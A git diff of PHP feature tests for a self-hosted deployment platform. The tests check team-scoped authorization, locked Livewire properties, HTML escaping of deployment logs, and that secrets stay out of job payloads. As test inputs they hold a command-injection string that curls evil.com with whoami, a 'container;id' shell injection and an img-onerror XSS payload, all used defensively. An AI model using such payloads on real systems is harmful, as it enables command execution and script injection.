function () { + $database = createDatabase($this); + + $env = EnvironmentVariable::create([ + 'key' => 'TEAM_SECRET', + 'value' => 'original', + 'resourceable_type' => StandalonePostgresql::class, + 'resourceable_id' => $database->id, + ]); + + $otherTeam = Team::factory()->create(); + $otherUser = User::factory()->create(); + $otherTeam->members()->attach($otherUser->id, ['role' => 'owner']); + session(['currentTeam' => $otherTeam]); + $otherToken = $otherUser->createToken('other-token', ['*'])->plainTextToken; + + $headers = [ + 'Authorization' => 'Bearer '.$otherToken, + 'Content-Type' => 'application/json', + ]; + $notFound = ['message' => 'Database not found.']; + + $this->withHeaders($headers) + ->getJson("/api/v1/databases/{$database->uuid}/envs") + ->assertStatus(404) + ->assertExactJson($notFound); + + $this->withHeaders($headers) + ->postJson("/api/v1/databases/{$database->uuid}/envs", ['key' => 'INJECTED', 'value' => 'x']) + ->assertStatus(404) + ->assertExactJson($notFound); + + $this->withHeaders($headers) + ->patchJson("/api/v1/databases/{$database->uuid}/envs", ['key' => 'TEAM_SECRET', 'value' => 'changed']) + ->assertStatus(404) + ->assertExactJson($notFound); + + $this->withHeaders($headers) + ->patchJson("/api/v1/databases/{$database->uuid}/envs/bulk", ['data' => [['key' => 'TEAM_SECRET', 'value' => 'changed']]]) + ->assertStatus(404) + ->assertExactJson($notFound); + + $this->withHeaders($headers) + ->deleteJson("/api/v1/databases/{$database->uuid}/envs/{$env->uuid}") + ->assertStatus(404) + ->assertExactJson($notFound); + + $envs = EnvironmentVariable::where('resourceable_type', StandalonePostgresql::class) + ->where('resourceable_id', $database->id) + ->get(); + expect($envs)->toHaveCount(1) + ->and($envs->first()->uuid)->toBe($env->uuid) + ->and($envs->first()->value)->toBe('original'); }); }); diff --git a/tests/Feature/DatabaseImportCommandInjectionTest.php b/tests/Feature/DatabaseImportCommandInjectionTest.php index 932709d30d..f17f13a996 100644 --- a/tests/Feature/DatabaseImportCommandInjectionTest.php +++ b/tests/Feature/DatabaseImportCommandInjectionTest.php @@ -1,8 +1,21 @@ getAttributes(Locked::class); + beforeEach(function () { + InstanceSettings::forceCreate(['id' => 0]); - expect($attributes)->not->toBeEmpty(); + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user, ['role' => 'admin']); + $this->actingAs($user); + session(['currentTeam' => $team]); + + $server = Server::factory()->create(['team_id' => $team->id]); + $destination = StandaloneDocker::firstOrCreate( + ['server_id' => $server->id, 'network' => 'coolify'], + ['uuid' => (string) Str::uuid(), 'name' => 'docker'] + ); + $project = Project::factory()->create(['team_id' => $team->id]); + $environment = Environment::factory()->create(['project_id' => $project->id]); + $this->database = StandalonePostgresql::create([ + 'uuid' => (string) Str::uuid(), + 'name' => 'db', + 'postgres_user' => 'postgres', + 'postgres_password' => 'password', + 'postgres_db' => 'db', + 'image' => 'postgres:17', + 'status' => 'running', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); }); - test('serverId property has Locked attribute', function () { - $property = new ReflectionProperty(ImportForm::class, 'serverId'); - $attributes = $property->getAttributes(Locked::class); + test('rejects client updates to locked property', function (string $property, mixed $value) { + Livewire::test(ImportForm::class, ['resource' => $this->database]) + ->set($property, $value); + })->with([ + 'container' => ['container', '$(curl http://evil.com/$(whoami))'], + 'serverId' => ['serverId', 999], + 'resourceId' => ['resourceId', 999], + 'resourceType' => ['resourceType', Server::class], + 'resourceUuid' => ['resourceUuid', 'other-uuid'], + 'resourceDbType' => ['resourceDbType', 'standalone-mysql'], + ])->throws(CannotUpdateLockedPropertyException::class); - expect($attributes)->not->toBeEmpty(); - }); + test('server is scoped to the team of the database', function () { + $ownServer = $this->database->destination->server; + $otherServer = Server::factory()->create(['team_id' => Team::factory()->create()->id]); - test('resourceId property has Locked attribute', function () { - $property = new ReflectionProperty(ImportForm::class, 'resourceId'); - $attributes = $property->getAttributes(Locked::class); + $form = new ImportForm; + $form->resourceId = $this->database->id; + $form->resourceType = $this->database->getMorphClass(); - expect($attributes)->not->toBeEmpty(); - }); + $form->serverId = $ownServer->id; + expect($form->server()?->id)->toBe($ownServer->id); - test('resourceType property has Locked attribute', function () { - $property = new ReflectionProperty(ImportForm::class, 'resourceType'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); - - test('resourceUuid property has Locked attribute', function () { - $property = new ReflectionProperty(ImportForm::class, 'resourceUuid'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); - - test('resourceDbType property has Locked attribute', function () { - $property = new ReflectionProperty(ImportForm::class, 'resourceDbType'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); -}); - -describe('server method uses team scoping', function () { - test('server computed property is scoped to the database team', function () { - $method = new ReflectionMethod(ImportForm::class, 'server'); - - // Extract the server method body - $startLine = $method->getStartLine(); - $endLine = $method->getEndLine(); - $lines = array_slice(file($method->getFileName()), $startLine - 1, $endLine - $startLine + 1); - $methodBody = implode('', $lines); - - expect($methodBody)->toContain('where(\'team_id\', $this->resourceTeamId())'); - expect($methodBody)->not->toContain('Server::find($this->serverId)'); + $form->serverId = $otherServer->id; + expect($form->server())->toBeNull(); }); }); diff --git a/tests/Feature/DatabaseImportFormAuthorizationTest.php b/tests/Feature/DatabaseImportFormAuthorizationTest.php deleted file mode 100644 index 935700e3a4..0000000000 --- a/tests/Feature/DatabaseImportFormAuthorizationTest.php +++ /dev/null @@ -1,20 +0,0 @@ -]*>/s', - $view, - $matches, - PREG_OFFSET_CAPTURE - ); - - $missingAuthorization = collect($matches[0]) - ->filter(fn (array $match): bool => ! str_contains($match[0], 'canGate=') || ! str_contains($match[0], 'canResource=')) - ->map(fn (array $match): string => 'Line '.(substr_count(substr($view, 0, $match[1]), PHP_EOL) + 1).': '.trim(preg_replace('/\s+/', ' ', $match[0]))) - ->values() - ->all(); - - expect($missingAuthorization)->toBeEmpty(); -}); diff --git a/tests/Feature/DatabasePersistentStorageLayoutTest.php b/tests/Feature/DatabasePersistentStorageLayoutTest.php index 85632d9511..9df6c9b9de 100644 --- a/tests/Feature/DatabasePersistentStorageLayoutTest.php +++ b/tests/Feature/DatabasePersistentStorageLayoutTest.php @@ -1,12 +1,59 @@ toContain('$this->showActionsColumn = $this->canUpdate;') - ->and($view) - ->toContain('@if ($showActionsColumn)') - ->toContain('canGate="update"'); -}); +uses(RefreshDatabase::class); + +it('gates standalone database storage actions behind the update permission', function (string $role, bool $showsActions) { + InstanceSettings::unguarded(fn () => InstanceSettings::updateOrCreate(['id' => 0], [])); + $team = Team::factory()->create(); + $user = User::factory()->create(); + $team->members()->attach($user->id, ['role' => $role]); + $this->actingAs($user); + session(['currentTeam' => $team]); + + $server = Server::factory()->create([ + 'team_id' => $team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $team->id])->id, + ]); + $destination = StandaloneDocker::where('server_id', $server->id)->first() + ?? StandaloneDocker::factory()->create(['server_id' => $server->id, 'network' => 'coolify-test']); + $environment = Environment::factory()->create([ + 'project_id' => Project::factory()->create(['team_id' => $team->id])->id, + ]); + $database = StandalonePostgresql::create([ + 'uuid' => (string) Str::uuid(), + 'name' => 'pg-test', + 'postgres_password' => 'secret', + 'environment_id' => $environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + LocalPersistentVolume::create([ + 'uuid' => (string) Str::uuid(), + 'name' => $database->uuid.'-data', + 'mount_path' => '/var/lib/postgresql/data', + 'resource_id' => $database->id, + 'resource_type' => $database->getMorphClass(), + ]); + + Livewire::test(All::class, ['resource' => $database]) + ->assertSet('canUpdate', $showsActions) + ->assertSet('showActionsColumn', $showsActions); +})->with([ + 'owner' => ['owner', true], + 'member' => ['member', false], +]); diff --git a/tests/Feature/DatabaseStartActionResolvedCredentialsTest.php b/tests/Feature/DatabaseStartActionResolvedCredentialsTest.php new file mode 100644 index 0000000000..501549499d --- /dev/null +++ b/tests/Feature/DatabaseStartActionResolvedCredentialsTest.php @@ -0,0 +1,117 @@ + 0]); + config(['app.maintenance.store' => 'array', 'constants.ssh.mux_enabled' => false]); + Process::fake(fn () => Process::result(output: 'OK')); + Queue::fake(); + + $this->team = Team::factory()->create(); + $this->server = Server::factory()->create([ + 'team_id' => $this->team->id, + 'private_key_id' => PrivateKey::factory()->create(['team_id' => $this->team->id])->id, + ]); + $this->server->settings->update(['is_reachable' => true, 'is_usable' => true, 'force_disabled' => false]); + $this->destination = StandaloneDocker::query()->where('server_id', $this->server->id)->firstOrFail(); + $project = Project::factory()->create(['team_id' => $this->team->id]); + $this->environment = Environment::factory()->create(['project_id' => $project->id]); +}); + +/** + * The remote scripts that ran, with the base64 files that they write decoded. + */ +function databaseStartRemoteScripts(): string +{ + $scripts = []; + Process::assertRan(function ($process) use (&$scripts) { + $script = remoteProcessScript($process); + preg_match_all("~echo '([A-Za-z0-9+/=]+)' \\| base64 -d~", $script, $files); + $scripts = [...$scripts, $script, ...array_map('base64_decode', $files[1])]; + + return true; + }); + + return implode("\n", $scripts); +} + +it('runs database start commands without persisting them through remote process', function (string $action, Closure $create, ?string $passwordAttribute) { + $database = $create($this->environment->id, $this->destination); + if ($passwordAttribute !== null) { + $database->forceFill([$passwordAttribute => DATABASE_START_TEST_SECRET])->save(); + } + $activity = activity()->withProperties(['status' => 'queued'])->log('[]'); + + $result = $action::run($database->fresh(), $activity); + + expect($result->is($activity))->toBeTrue() + ->and(Activity::query()->count())->toBe(1) + ->and(json_encode(Activity::query()->sole()->properties))->not->toContain('docker compose') + ->not->toContain('base64 -d') + ->not->toContain(DATABASE_START_TEST_SECRET); + Queue::assertNotPushed(CoolifyTask::class); + $scripts = databaseStartRemoteScripts(); + expect($scripts)->toContain('docker compose'); + if ($passwordAttribute !== null) { + expect($scripts)->toContain(DATABASE_START_TEST_SECRET); + } +})->with([ + 'clickhouse' => [StartClickhouse::class, fn (...$arguments) => create_standalone_clickhouse(...$arguments), 'clickhouse_admin_password'], + 'dragonfly' => [StartDragonfly::class, fn (...$arguments) => create_standalone_dragonfly(...$arguments), 'dragonfly_password'], + 'keydb' => [StartKeydb::class, fn (...$arguments) => create_standalone_keydb(...$arguments), 'keydb_password'], + 'mariadb' => [StartMariadb::class, fn (...$arguments) => create_standalone_mariadb(...$arguments), 'mariadb_root_password'], + 'mongodb' => [StartMongodb::class, fn (...$arguments) => create_standalone_mongodb(...$arguments), 'mongo_initdb_root_password'], + 'mysql' => [StartMysql::class, fn (...$arguments) => create_standalone_mysql(...$arguments), 'mysql_root_password'], + 'postgresql' => [StartPostgresql::class, fn (...$arguments) => create_standalone_postgresql(...$arguments), 'postgres_password'], + 'redis' => [StartRedis::class, fn ($environmentId, $destination) => create_standalone_redis($environmentId, $destination, ['redis_password' => DATABASE_START_TEST_SECRET]), null], + 'sqlite' => [StartSqlite::class, fn (...$arguments) => create_standalone_sqlite(...$arguments), null], +]); + +it('queues database starts with identifiers instead of generated commands', function () { + $database = create_standalone_postgresql($this->environment->id, $this->destination); + $database->forceFill(['postgres_password' => DATABASE_START_TEST_SECRET])->save(); + + $activity = StartDatabase::run($database->fresh()); + + expect($activity)->toBeInstanceOf(Activity::class); + Queue::assertPushed(DatabaseStartJob::class, fn (DatabaseStartJob $job) => $job->databaseClass === StandalonePostgresql::class + && $job->databaseId === $database->id + && $job->teamId === $this->team->id + && $job->activityId === $activity->id + && ! str_contains(serialize($job), DATABASE_START_TEST_SECRET) + && ! str_contains(serialize($job), 'docker compose')); + Process::assertDidntRun(fn ($process) => str_contains(remoteProcessScript($process), 'docker compose')); + expect(json_encode($activity->fresh()->properties))->not->toContain(DATABASE_START_TEST_SECRET); +}); diff --git a/tests/Feature/DeleteEnvironmentTeamScopingTest.php b/tests/Feature/DeleteEnvironmentTeamScopingTest.php index 0730c09843..b4583c8f5e 100644 --- a/tests/Feature/DeleteEnvironmentTeamScopingTest.php +++ b/tests/Feature/DeleteEnvironmentTeamScopingTest.php @@ -46,15 +46,9 @@ test('mount can load DeleteEnvironment with own team environment', function () { }); test('environment_id is locked and cannot be reassigned from the client', function () { - $component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]); - - try { - $component->set('environment_id', $this->environmentB->id); - $this->fail('Setting a #[Locked] property should have thrown.'); - } catch (CannotUpdateLockedPropertyException) { - expect(true)->toBeTrue(); - } -}); + Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]) + ->set('environment_id', $this->environmentB->id); +})->throws(CannotUpdateLockedPropertyException::class); test('delete still removes an empty environment owned by the current team', function () { $component = Livewire::test(DeleteEnvironment::class, ['environment_id' => $this->environmentA->id]) diff --git a/tests/Feature/DeploymentLogHtmlEscapingTest.php b/tests/Feature/DeploymentLogHtmlEscapingTest.php new file mode 100644 index 0000000000..7c3332767c --- /dev/null +++ b/tests/Feature/DeploymentLogHtmlEscapingTest.php @@ -0,0 +1,71 @@ + 0]); + + $user = User::factory()->create(); + $team = Team::factory()->create(); + $team->members()->attach($user->id, ['role' => 'owner']); + $this->actingAs($user); + session(['currentTeam' => $team]); + + $server = Server::factory()->create(['team_id' => $team->id]); + $destination = StandaloneDocker::query()->where('server_id', $server->id)->firstOrFail(); + $this->project = Project::factory()->create(['team_id' => $team->id]); + $this->environment = Environment::factory()->create(['project_id' => $this->project->id]); + $this->application = Application::factory()->create([ + 'environment_id' => $this->environment->id, + 'destination_id' => $destination->id, + 'destination_type' => $destination->getMorphClass(), + ]); + $this->deployment = ApplicationDeploymentQueue::create([ + 'application_id' => $this->application->id, + 'deployment_uuid' => 'deploy-html-escape-test', + 'server_id' => $server->id, + 'status' => ApplicationDeploymentStatus::FINISHED->value, + 'logs' => json_encode([[ + 'command' => null, + 'output' => '">', + 'type' => 'stdout', + 'timestamp' => now()->toISOString(), + 'hidden' => false, + 'batch' => 1, + 'order' => 1, + ]], JSON_THROW_ON_ERROR), + ]); +}); + +it('escapes deployment log lines exactly once in the log viewer', function () { + $response = $this->get(route('project.application.deployment.show', [ + 'project_uuid' => $this->project->uuid, + 'environment_uuid' => $this->environment->uuid, + 'application_uuid' => $this->application->uuid, + 'deployment_uuid' => $this->deployment->deployment_uuid, + ])); + + $escaped = '"><img src=x onerror=alert(1)>'; + + $response->assertSuccessful(); + $html = $response->getContent(); + + expect($html) + ->toContain('data-line-text="'.$escaped.'"') + ->toContain('>'.$escaped.'') + ->toMatch('/data-log-content="[^"]* '.preg_quote($escaped, '/').'"/') + ->not->toContain('') + ->not->toContain('&quot;&gt;&lt;img'); +}); diff --git a/tests/Feature/DnsProviderManagementTest.php b/tests/Feature/DnsProviderManagementTest.php index 1eecd2fa0d..947ab9d6c9 100644 --- a/tests/Feature/DnsProviderManagementTest.php +++ b/tests/Feature/DnsProviderManagementTest.php @@ -587,19 +587,17 @@ describe('domain DNS configuration after add', function () { }); }); -test('dns provider action controls declare update authorization against the resource', function () { - $dnsMenu = file_get_contents(resource_path('views/livewire/project/shared/cloudflare-autoconfigure.blade.php')); - $providerModal = file_get_contents(resource_path('views/livewire/project/shared/dns-provider-management.blade.php')); +test('a team member cannot create or replace a managed dns record', function (string $method) { + ['application' => $application, 'zone' => $zone] = prepareManagedDnsApplication(); + actingAsDnsTeamMember($application->team()); + Http::fake(); - expect($dnsMenu) - ->toContain('$dnsAuthResource = property_exists($this, \'application\') ? $this->application : $this->service') - ->toMatch('/]*wire:click="createManagedDnsRecord)(?=[^>]*canGate="update")(?=[^>]*:canResource="\$dnsAuthResource")[^>]*>/'); + Livewire::test(Domains::class, ['application' => $application->fresh()]) + ->call($method, 'app.example.com', $zone->id) + ->assertForbidden(); - expect($providerModal) - ->toContain('$dnsAuthResource = property_exists($this, \'application\') ? $this->application : $this->service') - ->toMatch('/]*submitAction="replaceManagedDnsRecord)(?=[^>]*canGate="update")(?=[^>]*:canResource="\$dnsAuthResource")[^>]*>/') - ->toMatch('/]*wire:click="createManagedDnsRecord)(?=[^>]*canGate="update")(?=[^>]*:canResource="\$dnsAuthResource")[^>]*>/'); -}); + Http::assertNothingSent(); +})->with(['createManagedDnsRecord', 'replaceManagedDnsRecord']); test('removing a domain deletes only the managed dns record for that resource', function () { $this->withoutVite(); diff --git a/tests/Feature/EnvVarInputDesignTest.php b/tests/Feature/EnvVarInputDesignTest.php deleted file mode 100644 index 597a4daf9d..0000000000 --- a/tests/Feature/EnvVarInputDesignTest.php +++ /dev/null @@ -1,15 +0,0 @@ -resource']] as [$view, $resourceExpression]) { - preg_match('//', $view, $matches); - - expect($matches[0] ?? '') - ->toContain('canGate="manageEnvironment"') - ->toContain(':canResource="'.$resourceExpression.'"'); - } -}); diff --git a/tests/Feature/EnvironmentVariableMassAssignmentTest.php b/tests/Feature/EnvironmentVariableMassAssignmentTest.php index 40209e7261..721e364a9a 100644 --- a/tests/Feature/EnvironmentVariableMassAssignmentTest.php +++ b/tests/Feature/EnvironmentVariableMassAssignmentTest.php @@ -17,75 +17,6 @@ beforeEach(function () { $this->actingAs($this->user); }); -test('all fillable fields can be mass assigned', function () { - $data = [ - 'key' => 'TEST_KEY', - 'value' => 'test_value', - 'comment' => 'Test comment', - 'is_literal' => true, - 'is_multiline' => true, - 'is_preview' => false, - 'is_runtime' => true, - 'is_buildtime' => false, - 'is_shown_once' => false, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]; - - $env = EnvironmentVariable::create($data); - - expect($env->key)->toBe('TEST_KEY'); - expect($env->value)->toBe('test_value'); - expect($env->comment)->toBe('Test comment'); - expect($env->is_literal)->toBeTrue(); - expect($env->is_multiline)->toBeTrue(); - expect($env->is_preview)->toBeFalse(); - expect($env->is_runtime)->toBeTrue(); - expect($env->is_buildtime)->toBeFalse(); - expect($env->is_shown_once)->toBeFalse(); - expect($env->resourceable_type)->toBe(Application::class); - expect($env->resourceable_id)->toBe($this->application->id); -}); - -test('comment field can be mass assigned with null', function () { - $env = EnvironmentVariable::create([ - 'key' => 'TEST_VAR', - 'value' => 'test_value', - 'comment' => null, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - expect($env->comment)->toBeNull(); -}); - -test('comment field can be mass assigned with empty string', function () { - $env = EnvironmentVariable::create([ - 'key' => 'TEST_VAR', - 'value' => 'test_value', - 'comment' => '', - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - expect($env->comment)->toBe(''); -}); - -test('comment field can be mass assigned with long text', function () { - $comment = str_repeat('This is a long comment. ', 10); - - $env = EnvironmentVariable::create([ - 'key' => 'TEST_VAR', - 'value' => 'test_value', - 'comment' => $comment, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - expect($env->comment)->toBe($comment); - expect(strlen($env->comment))->toBe(strlen($comment)); -}); - test('all boolean fields default correctly when not provided', function () { $env = EnvironmentVariable::create([ 'key' => 'TEST_VAR', @@ -145,87 +76,3 @@ test('key field with inner spaces is rejected', function () { 'resourceable_id' => $this->application->id, ]); })->throws(InvalidArgumentException::class); - -test('version field can be mass assigned', function () { - $env = EnvironmentVariable::create([ - 'key' => 'TEST_VAR', - 'value' => 'test_value', - 'version' => '1.2.3', - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - // The booted() method sets version automatically, so it will be the current version - expect($env->version)->not->toBeNull(); -}); - -test('mass assignment works with update method', function () { - $env = EnvironmentVariable::create([ - 'key' => 'TEST_VAR', - 'value' => 'initial_value', - 'comment' => 'Initial comment', - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - $env->update([ - 'value' => 'updated_value', - 'comment' => 'Updated comment', - 'is_literal' => true, - ]); - - $env->refresh(); - - expect($env->value)->toBe('updated_value'); - expect($env->comment)->toBe('Updated comment'); - expect((bool) $env->is_literal)->toBeTrue(); -}); - -test('protected attributes cannot be mass assigned', function () { - $customDate = '2020-01-01 00:00:00'; - - $env = EnvironmentVariable::create([ - 'id' => 999999, - 'uuid' => 'custom-uuid', - 'key' => 'TEST_VAR', - 'value' => 'test_value', - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - 'created_at' => $customDate, - 'updated_at' => $customDate, - ]); - - // id should be auto-generated, not 999999 - expect($env->id)->not->toBe(999999); - - // uuid should be auto-generated, not 'custom-uuid' - expect($env->uuid)->not->toBe('custom-uuid'); - - // Timestamps should be current, not 2020 - expect($env->created_at->year)->toBe(now()->year); -}); - -test('order field can be mass assigned', function () { - $env = EnvironmentVariable::create([ - 'key' => 'TEST_VAR', - 'value' => 'test_value', - 'order' => 5, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - expect($env->order)->toBe(5); -}); - -test('is_shared field can be mass assigned', function () { - $env = EnvironmentVariable::create([ - 'key' => 'TEST_VAR', - 'value' => 'test_value', - 'is_shared' => true, - 'resourceable_type' => Application::class, - 'resourceable_id' => $this->application->id, - ]); - - // Note: is_shared is also computed via accessor, but can be mass assigned - expect($env->is_shared)->not->toBeNull(); -}); diff --git a/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php b/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php deleted file mode 100644 index 66a542acaf..0000000000 --- a/tests/Feature/EnvironmentVariableMultilineToggleViewTest.php +++ /dev/null @@ -1,17 +0,0 @@ -toContain('wire:key="env-value-textarea"') - ->toContain('wire:key="env-value-input"'); -}); - -it('uses distinct keyed branches for the edit value field modes', function () { - $view = file_get_contents(resource_path('views/livewire/project/shared/environment-variable/show.blade.php')); - - expect($view) - ->toContain('wire:key="env-show-value-multiline-{{ $env->id }}"') - ->toContain('wire:key="env-show-value-single-{{ $env->id }}"'); -}); diff --git a/tests/Feature/FileDownloadStorageTest.php b/tests/Feature/FileDownloadStorageTest.php index 75436da765..18eb350857 100644 --- a/tests/Feature/FileDownloadStorageTest.php +++ b/tests/Feature/FileDownloadStorageTest.php @@ -224,9 +224,7 @@ it('accepts a bucket that denies anonymous listing', function () { fn (CommandInterface $command) => new S3Exception('denied', $command, ['code' => 'AccessDenied']), ])); - $downloads->ensureBucketIsPrivate($this->storage); - - expect(true)->toBeTrue(); + expect(fn () => $downloads->ensureBucketIsPrivate($this->storage))->not->toThrow(Throwable::class); }); it('refuses the bundled MinIO because servers and browsers cannot reach it', function () { diff --git a/tests/Feature/GetLogsCommandInjectionTest.php b/tests/Feature/GetLogsCommandInjectionTest.php index 2757f9685b..f93f11192a 100644 --- a/tests/Feature/GetLogsCommandInjectionTest.php +++ b/tests/Feature/GetLogsCommandInjectionTest.php @@ -12,7 +12,7 @@ use App\Models\User; use App\Support\ValidationPatterns; use Illuminate\Foundation\Testing\RefreshDatabase; use Illuminate\Support\Facades\Process; -use Livewire\Attributes\Locked; +use Livewire\Features\SupportLockedProperties\CannotUpdateLockedPropertyException; use Livewire\Livewire; uses(RefreshDatabase::class); @@ -43,33 +43,18 @@ beforeEach(function () { }); describe('GetLogs locked properties', function () { - test('container property has Locked attribute', function () { - $property = new ReflectionProperty(GetLogs::class, 'container'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); - - test('server property has Locked attribute', function () { - $property = new ReflectionProperty(GetLogs::class, 'server'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); - - test('resource property has Locked attribute', function () { - $property = new ReflectionProperty(GetLogs::class, 'resource'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); - - test('servicesubtype property has Locked attribute', function () { - $property = new ReflectionProperty(GetLogs::class, 'servicesubtype'); - $attributes = $property->getAttributes(Locked::class); - - expect($attributes)->not->toBeEmpty(); - }); + test('rejects a client update of a locked property', function (string $property, mixed $value) { + Livewire::test(GetLogs::class, [ + 'server' => $this->server, + 'resource' => $this->application, + 'container' => 'test-container', + ])->set($property, $value); + })->with([ + 'container' => ['container', 'container;id'], + 'server' => ['server', 1], + 'resource' => ['resource', 1], + 'servicesubtype' => ['servicesubtype', 1], + ])->throws(CannotUpdateLockedPropertyException::class); }); describe('GetLogs Livewire action validation', function () { diff --git a/tests/Feature/GiteaSourceCreateModalTest.php b/tests/Feature/GiteaSourceCreateModalTest.php index 7e411e7883..4d62d3bb9c 100644 --- a/tests/Feature/GiteaSourceCreateModalTest.php +++ b/tests/Feature/GiteaSourceCreateModalTest.php @@ -19,13 +19,6 @@ beforeEach(function () { }); describe('Gitea source create modal', function () { - test('renders the create form', function () { - Livewire::test(Create::class) - ->assertSee('Self-hosted Gitea') - ->assertSee('Organization') - ->assertSee('Continue'); - }); - test('creates a gitea app with defaults for gitea.com and redirects to it', function () { $component = Livewire::test(Create::class) ->set('name', 'my-gitea') diff --git a/tests/Feature/GithubPrivateRepositoryTest.php b/tests/Feature/GithubPrivateRepositoryTest.php index d859ab0094..ead51b171d 100644 --- a/tests/Feature/GithubPrivateRepositoryTest.php +++ b/tests/Feature/GithubPrivateRepositoryTest.php @@ -79,13 +79,6 @@ function githubPrivateRepositoryTestPrivateKeyForTeam(Team $team): PrivateKey } describe('GitHub Private Repository Component', function () { - test('github app selection uses coolbox loading border', function () { - Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) - ->assertSee('wire:loading.class="coolbox-loading"', false) - ->assertSee('wire:target="loadRepositories('.$this->githubApp->id.')"', false) - ->assertDontSee('loading-spinner', false); - }); - test('loadRepositories fetches and displays repositories', function () { $repos = [ ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], @@ -102,20 +95,6 @@ describe('GitHub Private Repository Component', function () { ->assertSet('selected_repository_id', 1); }); - test('repository selection uses the searchable listbox and disables loading action', function () { - fakeGithubHttp([ - ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], - ]); - - Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) - ->call('loadRepositories', $this->githubApp->id) - ->assertSee('class="listbox-panel searchable-listbox-panel"', false) - ->assertSee('placeholder="Search repositories…"', false) - ->assertSee('wire:loading.attr="disabled"', false) - ->assertSee('wire:target="loadBranches,selected_repository_id"', false) - ->assertDontSee(' 1, @@ -152,19 +131,6 @@ describe('GitHub Private Repository Component', function () { ->assertSee('placeholder="Search branches…"', false); }); - test('continue button uses the shared submit loading indicator', function () { - fakeGithubHttp([ - ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], - ]); - - Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) - ->call('loadRepositories', $this->githubApp->id) - ->set('branches', collect([['name' => 'main']])) - ->assertSee('type="submit"', false) - ->assertSee('wire:target="submit"', false) - ->assertSee('wire:loading.class="is-loading"', false); - }); - test('loadRepositories rejects a github app owned by another team', function () { $victimTeam = Team::factory()->create(); $victimPrivateKey = githubPrivateRepositoryTestPrivateKeyForTeam($victimTeam); @@ -254,7 +220,16 @@ describe('GitHub Private Repository Component', function () { }); test('github installation token is not stored as public component state', function () { - expect((new ReflectionClass(GithubPrivateRepository::class))->hasProperty('token'))->toBeFalse(); + fakeGithubHttp([ + ['id' => 1, 'name' => 'alpha-repo', 'owner' => ['login' => 'testuser']], + ]); + + $component = Livewire::test(GithubPrivateRepository::class, ['type' => 'private-gh-app']) + ->call('loadRepositories', $this->githubApp->id) + ->assertSet('current_step', 'repository'); + + expect(json_encode($component->snapshot))->not->toContain('fake-installation-token') + ->and($component->html())->not->toContain('fake-installation-token'); }); test('selected github app id cannot be tampered with from the client', function () { diff --git a/tests/Feature/GitlabSourceCreateModalTest.php b/tests/Feature/GitlabSourceCreateModalTest.php index 07050eb9b4..e2d1464390 100644 --- a/tests/Feature/GitlabSourceCreateModalTest.php +++ b/tests/Feature/GitlabSourceCreateModalTest.php @@ -19,14 +19,6 @@ beforeEach(function () { }); describe('GitLab source create modal', function () { - test('matches github create modal structure', function () { - Livewire::test(Create::class) - ->assertSee('Connect a GitLab OAuth application for private repositories, webhooks, and deployments.') - ->assertSee('Self-hosted GitLab') - ->assertSee('Continue') - ->assertDontSee('>SaveassertDontSeeHtml('

New GitLab App

'); - }); test('creates a gitlab app with defaults for gitlab.com', function () { Livewire::test(Create::class) diff --git a/tests/Feature/HostingerServerCreationTest.php b/tests/Feature/HostingerServerCreationTest.php index 378b03e8be..5feb6f5e47 100644 --- a/tests/Feature/HostingerServerCreationTest.php +++ b/tests/Feature/HostingerServerCreationTest.php @@ -62,19 +62,6 @@ it('offers Hostinger as a server provider', function () { ->assertSet('tokenProvider', 'hostinger'); }); -it('uses the current cloud provider UI and Hostinger affiliate link', function () { - Livewire::test(ByHostinger::class) - ->assertSee('Hostinger account') - ->assertSee('https://www.hostinger.com/vps/coolify-hosting?ref=coolify.io', false) - ->assertSee("through Coolify's affiliate link.", false); - - Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) - ->set('loading_data', false) - ->assertSee('Hostinger server') - ->assertSee('Advanced options') - ->assertSee('Buy and create'); -}); - it('leaves paid Hostinger backups off by default', function () { Livewire::test(ByHostinger::class, ['selectedTokenUuid' => $this->token->uuid]) ->assertSet('enable_backups', false) diff --git a/tests/Feature/ImageScan/ScanSettingsTest.php b/tests/Feature/ImageScan/ScanSettingsTest.php index e2f233399d..adde92ae85 100644 --- a/tests/Feature/ImageScan/ScanSettingsTest.php +++ b/tests/Feature/ImageScan/ScanSettingsTest.php @@ -129,15 +129,6 @@ describe('instance scope', function () { expect(scanSettingsInstanceRow()->gate_mode)->toBe(ImageScanGateMode::Off); }); - it('offers Off, On, and Strict with what On and Strict block', function () { - scanSettingsAs(scanSettingsInstanceAdmin(), Team::find(0), 'instance') - ->assertSee('Block deploys') - ->assertSee('Strict') - ->assertSee('Blocks a deploy when the new image adds a problem that attackers are using or are likely to use.') - 